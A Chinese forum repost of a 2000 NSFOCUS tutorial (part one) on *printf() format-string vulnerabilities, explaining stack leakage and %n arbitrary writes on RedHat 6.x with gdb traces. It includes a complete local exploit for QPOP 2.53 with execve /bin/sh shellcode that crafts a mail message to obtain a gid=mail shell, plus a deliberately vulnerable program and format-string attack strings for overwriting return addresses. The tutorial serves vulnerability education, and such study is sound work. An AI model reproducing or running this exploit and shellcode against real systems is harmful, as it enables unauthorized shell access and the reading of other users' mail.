- 論壇徽章:
- 0
|
*printf()格式化串安全漏洞分析(上)
作者:warning3 (warning3@nsfocus.com)
主頁:http://www.nsfocus.com
日期:2000-8-15
測試平臺:RedHat 6.1, RedHat 6.2 (Intel i386)
前言:
=====
最近一段時間,一種新的安全漏洞正開始引起人們注意,就是諸多的*printf()函數(shù)的格式
化串問題。其實這個問題應該說并不鮮見,只是一直沒有人注意它,直到最近才開始進行
一些深入的討論。格式化串的問題實際上是由于程序員編程時的疏漏所導致的,下面我們
就來看看具體是怎么回事。
關(guān)于格式化串
============
*printf()函數(shù)包括printf, fprintf, sprintf, snprintf, vprintf, vfprintf,
vsprintf, vsnprintf等函數(shù),它們可以將數(shù)據(jù)格式化后輸出。以最簡單的printf()為例:
int printf(const char *format, arg1,arg2,...);
通過定制format的內(nèi)容(%s,%d,%p,%x...),用戶可以將數(shù)據(jù)按照某種格式輸出。問題是,
*printf()函數(shù)并不能確定數(shù)據(jù)參數(shù)arg1,arg2...究竟在什么地方結(jié)束,也就是說,它不知
道參數(shù)的個數(shù)。它只會根據(jù)format中的打印格式的數(shù)目依次打印堆棧中參數(shù)format后面地址
的內(nèi)容。先來看一個簡單的例子:
<- begin ->; fmt_test.c
#include <stdio.h>;
int main(void)
{
char string[]="Hello World!";
printf("String: %s , arg2: %#p , arg3: %#p\n", string);
return 0;
}
<- end ->;
上面的例子中我們其實只提供了一個數(shù)據(jù)參數(shù)"string",但在格式串中有三個打印格式,
我們看一下運行的結(jié)果:
[warning3@redhat-6 format]$ gcc -o fmt_test fmt_test.c
[warning3@redhat-6 format]$ ./fmt_test
String: Hello World! , arg2: 0x6c6c6548 , arg3: 0x6f57206f
我們來看一下arg2,arg3顯示的是哪里的內(nèi)容:
[warning3@redhat-6 format]$ gdb ./fmt_test
<...>;
(gdb) b printf
Breakpoint 1 at 0x8048308
(gdb) r
Starting program: /home/warning3/format/./fmt_test
Breakpoint 1 at 0x40064f5c: file printf.c, line 30.
Breakpoint 1, printf (
format=0x80484c0 "String: %s , arg2: %#p , arg3: %#p\n" at printf.c:30
30 printf.c: No such file or directory.
(gdb) x/10x $ebp
0xbffffc88: 0xbffffca8 0x08048403 0x080484c0 0xbffffc98
0xbffffc98: 0x6c6c6548 0x6f57206f 0x21646c72 0x08049500
0xbffffca8: 0xbffffcc8 0x400301eb
我們看到printf()的第一個參數(shù)地址是$ebp+8,里面的內(nèi)容是0x080484c0,
(gdb) x/s 0x080484c0
0x80484c0 <_IO_stdin_used+60>;: "String: %s , arg2: %#p , arg3: %#p\n"
這是我們的格式化串的地址
再來看我們要格式化輸出的數(shù)據(jù)($ebp+12):
(gdb) x/s 0xbffffc98
0xbffffc98: "Hello World!"
我們看到,緊接著下來的兩個字的內(nèi)容就是剛才的程序中顯示的結(jié)果:
$ebp+16: 0x6c6c6548 "Hell"
$ebp+20: 0x6f57206f "o Wo"
從下面的示意圖上可以看得更清楚一些:
棧頂
+------------+
| ...... |
+------------+
0xbffffc88| 0xbffffca8 | -------->; 保存的EBP -- printf()
+------------+
| 0x08048403 | -------->; 保存的EIP -- printf()
+------------+ format
format->; | 0x080484c0 | -------->; "String: %s , arg2: %#p , arg3: %#p\n"的地址
+------------+ arg1
| 0xbffffc98 | -------->; "Hello World!"的地址
+------------+
| 0x6c6c6548 | -------->; string[] = "Hell
+------------+
| 0x6f57206f | -------->; o Wo
+------------+
| 0x21646c72 | -------->; rld!"
+------------+
| 0x08049500 | -------->; '\0'xxx
+------------+
0xbffffca8| 0xbffffcc8 | -------->; 保存的EBP -- main()
+------------+
| 0x400301eb | -------->; 保存的EIP -- main()
+------------+
| ...... |
+------------+
棧底
我們可以看到,arg2,arg3所顯示的其實是main()中數(shù)組strings中前兩個字的內(nèi)容。
從上面這個簡單的例子我們可以看到, *printf()只根據(jù)format中打印格式(%)的數(shù)目來依次
顯示堆棧中format參數(shù)后面地址的內(nèi)容,每次移動一個字(4個字節(jié)).
由于我們上面的例子中出現(xiàn)了三個(%)號,所以它會依次打印三個地址的內(nèi)容:
format+4, format + 8, format + 12.
(注意:并不是所有的%格式都是移動4個字節(jié),例如%f就每次移動8個字節(jié)。如果要覆蓋的地址
距離比較遠(比如2048字節(jié)),而%的個數(shù)又有所限制的話,使用%f可以較快的到達"目的地",
只需要256個%f就可以了,%E也是如此)
正常情況下,由于format串通常是程序員自己來定制,很少出現(xiàn)上面那種情況,而且即使
出現(xiàn)了,也并不會有什么大的安全問題。然而,如果format串是由用戶提供的話,那么就
非常危險了!這種情況往往是由于程序員的疏忽導致的。最常見的情況是當需要利用
vsprintf()等來構(gòu)造自己的類printf()函數(shù)時,例如
mylog(LEVEL, "username = %s", username);
如果引用mylog時錯誤的使用了mylog(LEVEL,user_buf),而user_buf的內(nèi)容又是用戶可以控
制的話,那么真正的危險就來了。
1. 問題一:格式化串導致的傳統(tǒng)緩沖區(qū)溢出
==========================================
我們以不久前發(fā)現(xiàn)的QPOP 2.53的例子來做一下詳細的說明。
QPOP 2.53中pop_uidl.c中有個函數(shù)pop_euidl (p),用來完成EUIDL命令的功能,它錯誤的
使用了pop_msg()函數(shù):
.......
pop_euidl (p)
POP * p;
{
char buffer[MAXLINELEN]; /* Read buffer */
char *nl, *bp;
MsgInfoList * mp; /* Pointer to message info list */
......
if (mp->;del_flag) {
/* 注意: 這里使用pop_msg()的做法是正確的! 注意和下面那個pop_msg()的用法
做一下比較。
*/
return (pop_msg (p,POP_FAILURE,
"Message %d has been marked for deletion.",msg_id));
} else {
sprintf(buffer, "%d %s", msg_id, mp->;uidl_str);
if (nl = index(buffer, NEWLINE)) *nl = 0;
/* 下面這個sprintf()將用戶輸入的數(shù)據(jù)拷貝到buffer中,由于限制了%s的寬度,
因此不會發(fā)生緩沖區(qū)溢出 */
sprintf(buffer, "%s %d %.128s", buffer, mp->;length, from_hdr(p, mp));
/* 注意:這里直接將buffer作為第三個參數(shù)傳遞給pop_msg(),這是錯誤的! */
return (pop_msg (p,POP_SUCCESS, buffer));
}
我們再來看看pop_msg()函數(shù),它在pop_msg.c中定義:
......
#define BUFSIZE 2048
......
#ifdef __STDC__
/* 我們看到,pop_msg()的第三個參數(shù)是format串*/
pop_msg(POP *p, int stat, const char *format,...)
#else
pop_msg(va_alist)
va_dcl
#endif
{
#ifndef __STDC__
POP * p;
int stat; /* POP status indicator */
char * format; /* Format string for the message */
#endif
va_list ap;
register char * mp;
#ifdef PYRAMID
char * arg1, *arg2, *arg3, *arg4, *arg5, *arg6;
#endif
char message[BUFSIZE]; /* 定義了一個BUFSIZE=2048大小的緩沖區(qū) */
#ifdef __STDC__
va_start(ap,format);
.......
/* Point to the message buffer */
mp = message; /* mp指向message[]起始地址 */
......
/* Append the message (formatted, if necessary) */
if (format) {
#ifdef HAVE_VPRINTF
/* 這里將變參ap按照format的格式輸出到mp所指向的message[]中
注意,這里沒有檢查拷貝數(shù)據(jù)的大小!
*/
vsprintf(mp,format,ap);
.....
我們看到pop_euidl()中的buffer,本來應該出現(xiàn)在pop_msg()的第四個參數(shù)位置上,也就是
pop_msg()的ap所指向的內(nèi)容,正確的格式應該象下面這樣:
pop_msg (p,POP_SUCCESS, "%s", buffer);
這樣由于buffer的長度是有限制的,pop_msg()中的vsprintf()就不會產(chǎn)生溢出。
但由于程序員的疏忽,錯誤的將buffer放在了第三個參數(shù)的位置上,其實就是pop_msg()中
format所指向的內(nèi)容。而buffer中的部分內(nèi)容是由用戶提供的,因此如果用戶輸入的數(shù)
據(jù)中包含某些特別的打印格式,就可能利用vsprintf()調(diào)用溢出message緩沖區(qū)。
那么具體如何來做呢?我們知道打印格式中有個重要的部分是打印寬度,例如:%.20d,%20d
%20s,%.20s等等。以printf("%.20d",num)為例,如果整數(shù)num的長度小于20,printf()會在
它前面補零來使打印出來的長度為20,例如:
printf("%.20d\n",12345);
打印結(jié)果如下:
00000000000000012345
這讓我們想到,是否可以通過定義打印寬度來填充message緩沖區(qū)呢?
如果我們構(gòu)造buffer的內(nèi)容讓它象這個樣子:
xxx%.2000d<RET>;<RET>;...<RET>;
那么vsprintf(mp,"xxx%.2000d<RET>;<RET>;...<RET>;",ap);
就可能使<RET>;覆蓋pop_msg()函數(shù)的返回地址,如果我們可以在<RET>;這個地址中放入shellcode
,就可能獲得一個遠程shell了。由于通常Qpoper沒有丟棄mail組權(quán)限,因此我們可以獲得一個
gid=mail的shell,可以查看其他普通用戶的郵件....
為了達到我們的目標,我們需要做的事是:
<1>; 發(fā)一封郵件給要攻擊的用戶,在X-UIDL:域中放入我們的shellcode,
在From:域中放入%.2000d<RET>;<RET>;...<RET>;
注意這個<RET>;的地址需要通過調(diào)試才能確定,它應該指向我們的shellcode所在地址。
<2>; 以該用戶身份登陸QPOP server,執(zhí)行EUIDL num命令,這里的num應該是我們剛才發(fā)送
的那封特殊郵件的序號。
如果一切順利的話,你就可以得到一個gid mail的shell了。
下面我們提供一個簡單的測試程序,它會給你一個本地的gid mail shell:
(你可能需要自己調(diào)整retloc以及POP *p的地址才能成功)
<- begin ->; qpop2.53_local.c
/* QPOP 2.53 local exploit .
* code based on the sample exploit by Prizm/b0f.
* usages:
* [test@redhat-6 /tmp]$ ./qp 0xbfffcba4 0xbfffdbf8 >;/var/spool/mail/test
* [test@redhat-6 /tmp]$ nc localhost 110
*
* +OK QPOP (version 2.53) at localhost.localdomain starting.
* user test
* +OK Password required for test.
* pass 123456
* +OK test has 1 message (307 octets).
* euidl 1
* <...snip...>;
* id
* uid=514(test) gid=12(mail) groups=12(mail)
* warning3@isbase.com
* y2k/5/28
*/
#include <stdio.h>;
#include <string.h>;
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh....";
int main(int argc, char *argv[])
{
int i;
unsigned long ra=0;
unsigned long p= 0xbffffdf8;
if(argc<2) {
fprintf(stderr,"Usage: %s return_addr POP(*)_addr\n", argv[0]);
exit(0);
}
sscanf(argv[1], "%x", &ra);
/* 由于pop_msg()發(fā)生溢出后還需要一個有效的POP *p指針才能正確結(jié)束,所以
* 我們必須要提供一個有效的地址
*/
sscanf(argv[2], "%x", &p);
if(!ra)
return;
if(sizeof(shellcode) < 12 || sizeof(shellcode) >; 76) {
fprintf(stderr,"Bad shellcode\n" ;
exit(0);
}
fprintf(stderr,"return address: 0x%.8x\n", ra);
fprintf(stderr,"p address: 0x%.8x\n", p);
printf("From root Sun May 28 17:29:37 2000\n" ;
printf("Date: Sun, 28 May 2000 17:29:37 +0800\n" ;
printf("From: %s", "%.500d%.500d%.500d%.398d" ;
for(i=0; i < 20; i++)
printf("%c%c%c%c", (ra & 0xff), (ra & 0xff00)>;>;8, (ra & 0xff0000)>;>;16, (ra & 0xff000000)>;>;24); /* 連續(xù)的返回地址 */
printf("%c%c%c%c", ( p& 0xff), (p & 0xff00)>;>;8, (p & 0xff0000)>;>;16, (p & 0xff000000)>;>;24);/* 有效的POP *p指針 */
printf ("\n" ;
printf ("Subject: haha\n" ;
printf ("Message-Id: <200005280929.RAA03577@localhost.localdomain>;\n" ;
printf("X-UIDL: " ;
for(i=0; i < sizeof(shellcode);i++)
printf("%c", shellcode);
printf("\n" ;
printf ("\n\n");
return 0;
}
<- end ->;
2. 問題二:格式化串導致覆蓋函數(shù)返回地址
========================================
我們再來看另外一個問題:%n的問題。 %n在格式化中的意思是將顯示內(nèi)容的長度輸出到一
個變量中去。通常的用法是這樣的:
<- begin ->; n_test.c
main()
{
int num=0x41414141;
printf("Before: num = %#x \n", num);
printf("%.20d%n\n", num, &num);
printf("After: num = %#x \n", num);
}
<- end ->;
[warning3@redhat-6 format]$ ./n_test
Before: num = 0x41414141
00000000001094795585
After: num = 0x14
我們看到,變量num的值已經(jīng)變成了0x14(20),也就是說,因為我們的程序中將變量num的地
址壓入堆棧,作為printf()的第二個參數(shù),%n會將打印總長度保存到對應參數(shù)的地址中去。
那么如果我們不將num的地址壓入堆棧會發(fā)生什么事情呢?
[warning3@redhat-6 format]$ vi n_test.c
<- begin ->; n_test1.c
main()
{
int num=0x41414141;
printf("Before: num = %#x \n", num);
printf("%.20d%n\n", num); /* 注意,我們沒有壓num的地址入棧 */
printf("After: num = %#x \n", num);
}
<- end ->;
[warning3@redhat-6 format]$ ./n_test1
Before: num = 0x41414141
Segmentation fault (core dumped) <--- 在執(zhí)行第二個printf()時就發(fā)生段錯誤了
[warning3@redhat-6 format]$ gdb ./n_test core
GNU gdb 4.18
<...>;
#0 0x4005d897 in _IO_vfprintf (s=0x40104c60, format=0x8048474 "%.20d%n\n",
ap=0xbffffca at vfprintf.c:1212
1212 vfprintf.c: No such file or directory.
(gdb) x/i $pc <--- 我們看看下一條指令是什么
0x4005d897 <_IO_vfprintf+2455>;: mov %eax,(%ecx) <--- 將%eax的值填到%ecx中
的地址去
(gdb) i r $ecx <--- 目的地址是 0x41414141
ecx 0x41414141 1094795585
(gdb) i r $eax
eax 0x14 20 <--- 填充內(nèi)容是0x14(20)
(gdb)
很明顯,這就是在執(zhí)行%n操作的時候發(fā)生了段錯誤,0x41414141肯定是不能訪問的。我們
注意到num的初始值就是0x41414141,兩者是不是有什么聯(lián)系呢?其實從前面關(guān)于fmt_test.c
的討論我們就應該可以看出來,printf()將堆棧中main()函數(shù)的變量num當作了%n所對應的
參數(shù),因此會將0x14保存到0x41414141中去。聰明的讀者應該可以想到,如果我們可以控制
num的內(nèi)容,那么不就意味著可以修改任意地址(當然是允許寫入的地址)的內(nèi)容了?是的。
我們首先想到的是覆蓋函數(shù)的返回地址,讓我們修改一下程序:
<- begin ->; n_test2.c
main()
{
int num=0xbffffcbc;
printf(" ress Any Key to Continue...\n");
getchar();
printf("Before: num = %#x \n", num);
printf("%.1094795585u%n\n", num); /* 1094795585 = 0x41414141 */
printf("After: num = %#x \n", num);
}
<- end ->;
這里的num的值是main()函數(shù)的返回地址,我們的目的是將0x41414141覆蓋main()函數(shù)
的返回地址,這樣從main()函數(shù)返回時就會跳到0x41414141去運行,當然這會導致段錯
誤,這里只是舉個例子而已。
至于getchar()的作用,純粹是為了調(diào)試方便,一會你就會明白為什么要加這個東西。
細心的讀者可能會發(fā)現(xiàn)我將%d換成了%u,這是因為如果要
打印的值為負數(shù),printf會自動在前面加上一個'-'號,這樣實際的打印結(jié)果長度就要
加上一,在這個例子中,我們就可能跳到0x41414142去了,當然這里對我們并沒有什么
影響,如果我們有很多%d,例如:"%d%d%d...%d%d",我們就不能簡單的根據(jù)"%d"的個數(shù)來
計算顯示結(jié)果的長度,還要考慮可能的'-'號數(shù)目。為了簡便起見,我們用%u來顯示,它
會按無符號整數(shù)來顯示結(jié)果,就不用考慮'-'號的情況。
讓我們來看看運行結(jié)果,這是在一臺RedHat 6.1下運行的結(jié)果:
[warning3@redhat-6 format]$ gcc -o n2 -g n_test2.c
[warning3@redhat-6 format]$ ./n2
Press Any Key to Continue...
這時我們再開一個終端[tty2]來調(diào)試:
<在終端tty2上>;
[warning3@redhat-6 format]$ gdb ./n2 `ps -auxw|grep './n2'|grep -v grep|awk '{print $2}'`
GNU gdb 4.18
<......>;
Attaching to program: /home/warning3/format/./n2, Pid 28428
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
0x400bcdb4 in __libc_read () from /lib/libc.so.6
(gdb) bt
#0 0x400bcdb4 in __libc_read () from /lib/libc.so.6
#1 0x4010648c in __DTOR_END__ () from /lib/libc.so.6
#2 0x4006c7a1 in _IO_new_file_underflow (fp=0x40104ba0) at fileops.c:385
#3 0x4006e6f1 in _IO_default_uflow (fp=0x40104ba0) at genops.c:371
#4 0x4006db5c in __uflow (fp=0x40104ba0) at genops.c:328
#5 0x4006af56 in getchar () at getchar.c:37
#6 0x8048417 in main () at n_test2.c:6
(gdb) i f 6
Stack frame at 0xbffffcb8:
eip = 0x8048417 in main (n_test2.c:6); saved eip 0x400301eb
caller of frame at 0xbffffcac
source language c.
Arglist at 0xbffffcb8, args:
Locals at 0xbffffcb8, Previous frame's sp is 0x0
Saved registers:
ebp at 0xbffffcb8, eip at 0xbffffcbc --->; 這是main函數(shù)保存返回地址的地方,
也是num初始值
(gdb) c --->; 讓跟蹤的程序繼續(xù)運行
Continuing.
現(xiàn)在我們再切換到原先的終端上,繼續(xù)執(zhí)行我們的程序:
[warning3@redhat-6 format]$ ./n2
Press Any Key to Continue... --->; 按一下回車
Before: num = 0xbffffcbc
我們再切到tty2來看發(fā)生了什么:
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault. --->; 發(fā)生了段訪問錯誤
0x4005dff0 in _IO_vfprintf (s=0x40104c60,
format=0x80484d2 "%.1094795585u%n\n", ap=0xbffffcb4) at vfprintf.c:1259
1259 vfprintf.c: No such file or directory.
(gdb) x/6i $pc --->; 看看我們要執(zhí)行什么命令了
0x4005dff0 <_IO_vfprintf+4336>;: movb $0x30,(%esi)
0x4005dff3 <_IO_vfprintf+4339>;: dec %esi
0x4005dff4 <_IO_vfprintf+4340>;: mov 0xfffffad8(%ebp),%eax
0x4005dffa <_IO_vfprintf+4346>;: decl 0xfffffad8(%ebp)
0x4005e000 <_IO_vfprintf+4352>;: test %eax,%eax
0x4005e002 <_IO_vfprintf+4354>;: jg 0x4005dff0 <_IO_vfprintf+4336>;
(gdb) i r $esi
esi 0xbfffdfff -1073750017
(gdb) i r $eax
eax 0x41412b43 1094789955 ---->; 還有0x41412b43個'0'要填充
(gdb) x/200x $esi
0xbfffdfff: 0x30303000 0x30303030 0x30303030 0x30303030
0xbfffe00f: 0x30303030 0x30303030 0x30303030 0x30303030
0xbfffe01f: 0x30303030 0x30303030 0x30303030 0x30303030
0xbfffe02f: 0x30303030 0x30303030 0x30303030 0x30303030
0xbfffe03f: 0x30303030 0x30303030 0x30303030 0x30303030
0xbfffe04f: 0x30303030 0x30303030 0x30303030 0x30303030
0xbfffe05f: 0x30303030 0x30303030 0x30303030 0x30303030
0xbfffe06f: 0x30303030 0x30303030 0x30303030 0x30303030
0xbfffe07f: 0x30303030 0x30303030 0x30303030 0x30303030
0xbfffe08f: 0x30303030 0x30303030 0x30303030 0x30303030
<....>;
我們看到這幾句程序?qū)?x30('0')往堆棧頂端(低地址方向)中填充,實際上就是為顯示
"%.1094795585u"中指定的'0'做準備。好像堆棧太小了,不足以存放這么多'0',讓我們
再來看看./n2執(zhí)行時的內(nèi)存映射:
^Z
[1]+ Stopped gdb ./n2 `ps -auxw|grep './n2'|grep -v grep|awk '{print $2}'`
[warning3@redhat-6 format]$ cat /proc/28428/maps
08048000-08049000 r-xp 00000000 03:06 168475 /home/warning3/format/n2
08049000-0804a000 rw-p 00000000 03:06 168475 /home/warning3/format/n2
40000000-40012000 r-xp 00000000 03:06 144892 /lib/ld-2.1.2.so
40012000-40013000 rw-p 00012000 03:06 144892 /lib/ld-2.1.2.so
40013000-40015000 rw-p 00000000 00:00 0
40018000-40103000 r-xp 00000000 03:06 144899 /lib/libc-2.1.2.so
40103000-40107000 rw-p 000ea000 03:06 144899 /lib/libc-2.1.2.so
40107000-4010b000 rw-p 00000000 00:00 0
bfffe000-c0000000 rwxp fffff000 00:00 0
從上面我們可以看到可寫的堆棧段是從bfffe000-c0000000之間的地址空間,而前面的語句
要將0x30('0')寫入0xbfffdfff,這個地址已經(jīng)不在堆棧段中,因此會發(fā)生段訪問錯誤。程
序也就執(zhí)行不下去了。因此,在RedHat 6.1中,我們不能簡單的直接用%.RET%n的方式來覆
蓋函數(shù)返回地址,因為通常RET都是在堆棧段中,即通常大于0xbfff0000,這是個相當大的數(shù)
值,RedHat 6.1的glibc中的vfprintf()不能正常顯示這么多的'0',而RedHat 6.2中的glibc
所帶的vfprintf()則可以,也就是說,上面的程序在RedHat 6.2下,這條語句:
printf("%.1094795585u%n\n", num);
可以正常結(jié)束,然后main()的返回地址被覆蓋成0x41414141。
但是我并不建議讀者直接在RedHat 6.2下運行這個程序,因為它會打印非常多的0,你需要
有足夠的耐心才能等待它結(jié)束. 
<1>; 攻擊方法一:直接覆蓋返回地址
=================================
我們看另外一個簡單的問題程序,我們會先在RedHat 6.2上進行攻擊測試:
<- begin ->; vul.c
/* A simple vulnerable example for format bug.
* warning3@nsfocus.com
*/
#include <stdarg.h>;
#include <unistd.h>;
#include <syslog.h>;
#define BUFSIZE 1024
int log(int level, char *fmt,...)
{
char buf[BUFSIZE];
va_list ap;
va_start(ap, fmt);
vsnprintf(buf, sizeof(buf)-1, fmt, ap);
buf[BUFSIZE-1] = '\0';
syslog(level, "[hmm]: %s", buf);
va_end(ap);
}
int main(int argc, char **argv)
{
char buf[BUFSIZE];
int num,i;
num = argc ;
if(argc >; 1) {
for ( i = 1 ; i < num ; i ++ ) {
snprintf(buf, BUFSIZE -1 , "argv[%d] = %.200s", i, argv);
buf[BUFSIZE-1] = '\0';
log(LOG_ALERT, buf); // 這里有問題
printf("argv[%d] = %s \n", i, argv);
}
}
}
<- end ->;
這個有問題的程序在調(diào)用子函數(shù)log()的時候,錯誤的將buf放到了*fmt所對應的位置上,
而buf的內(nèi)容中的一部分是用戶輸入的,而且沒有做任何檢查。雖然程序其余地方都比較
小心地使用了vsnprintf(),snprintf(),不會發(fā)生通常的緩沖區(qū)溢出問題。但這個格式化
串的錯誤也將是致命的。
我們先來分析一下如何進行攻擊。我們看到main()函數(shù)會將命令行參數(shù)拷貝到buf中去。
前面還加上了"argv[%d] = "字符串,在參數(shù)個數(shù)小于10的情況下,這個字符串的長度為
10字節(jié)。我們考慮構(gòu)造這樣的字符串作為命令行參數(shù):
"align|RET|%d%d...%.SH_RETd|%n"
"align": 用來調(diào)整buf開頭的數(shù)據(jù)長度為4的整數(shù)
"RET": 是main()或者log()函數(shù)的返回地址位置,我們會將shellcode的地址放到RET中去,
"SH_RET": 我們存放shellcode的地址
"%d...%d": 這些%d用來使%n所對應的地址剛好是儲存RET的地址
我們來看看在第一次調(diào)用log()時,堆棧中的情況
保存ebp 保存eip 參數(shù)1 參數(shù)2 變量i 變量num 緩沖區(qū)buf
-----------------------------------------------------------------------
| EBP | EIP |LOG_ALERT| &buf | i | num |"argv[1] = "| argv[1] |
-----------------------------------------------------------------------
^ ^
|__fmt |__ap
低址 ---------------------->;---------------------------------->; 高址
在執(zhí)行完 va_start(ap, fmt) 后,變參指針ap指向fmt的下一個地址,也就是main()
函數(shù)局部變量i的地址,如果我們提供的argv[1]的是這樣的字符串:
"xxabcd%d%d%d%d%d%p"
那么堆棧中的情況就是這樣:
保存ebp 保存eip 參數(shù)1 參數(shù)2 變量i 變量num 緩沖區(qū)buf
--------------------------------------------------------------------------------
| EBP | EIP |LOG_ALERT| &buf | i | num |"argv[1] = xx"|"abcd"|%d%d%d%d%d%p|
--------------------------------------------------------------------------------
^ ^ 4B 4B 12B ^ RET |
|__fmt |__ap |__________________|
低址 ---------------------->;---------------------------------->; 高址
因為"argv[1] = "長是10字節(jié),我們用兩個字節(jié)"xx"來使其變成4的整數(shù)倍:12字節(jié)。因此,
從變量i的地址到"abcd"之間共有4+4+12=20字節(jié),20/4=5,因此我們需要用5個%d來對應這5
個地址,這樣最后一個格式化串%p就對應了"abcd"的地址,因此打印出來應該是:
"0x64636261"
[root@rh62 format]# ./vul xxabcd%d%d%d%d%d%p
argv[1] = xxabcd%d%d%d%d%d%p
[root@rh62 format]# tail -1 /var/log/messages
Jul 12 04:13:08 rh62 vul: [hmm]: argv[1] = xxabcd2119864909775429783952021138493
0x64636261
注意最后的0x64636261,這說明我們前面的分析是正確的。如果我們將%p換成%n,vsnprintf
()就會將打印長度存放到0x64636261中去,當然這肯定會導致段錯誤
[root@rh62 format]# gdb ./vul
GNU gdb 19991004
<...>;
(gdb) r xxabcd%d%d%d%d%d%n
Starting program: /root/./vul xxabcd%d%d%d%d%d%n
Program received signal SIGSEGV, Segmentation fault.
0x400622b7 in _IO_vfprintf (s=0xbffff224,
format=0xbffff738 "argv[1] = xxabcd%d%d%d%d%d%n", ap=0xbffff74
at vfprintf.c:1212
1212 vfprintf.c: No such file or directory.
(gdb) x/i $pc
0x400622b7 <_IO_vfprintf+2455>;: mov %eax,(%ecx)
(gdb) i reg $eax $ecx
eax 0x2f 47
ecx 0x64636261 1684234849
(gdb)
我們看到,eax中保存的是打印的總長度:47, vsnprintf()在將這個值保存到$ecx中去時
發(fā)生了段錯誤。如果我們將RET換成保存main函數(shù)返回地址的地址,就會將這個長度存放
到那里去,如果這個長度的值剛好等于我們存放shellcode的地址,那么當main()返回時
就會跳到我們的shellcode去運行了。
(待續(xù)) |
|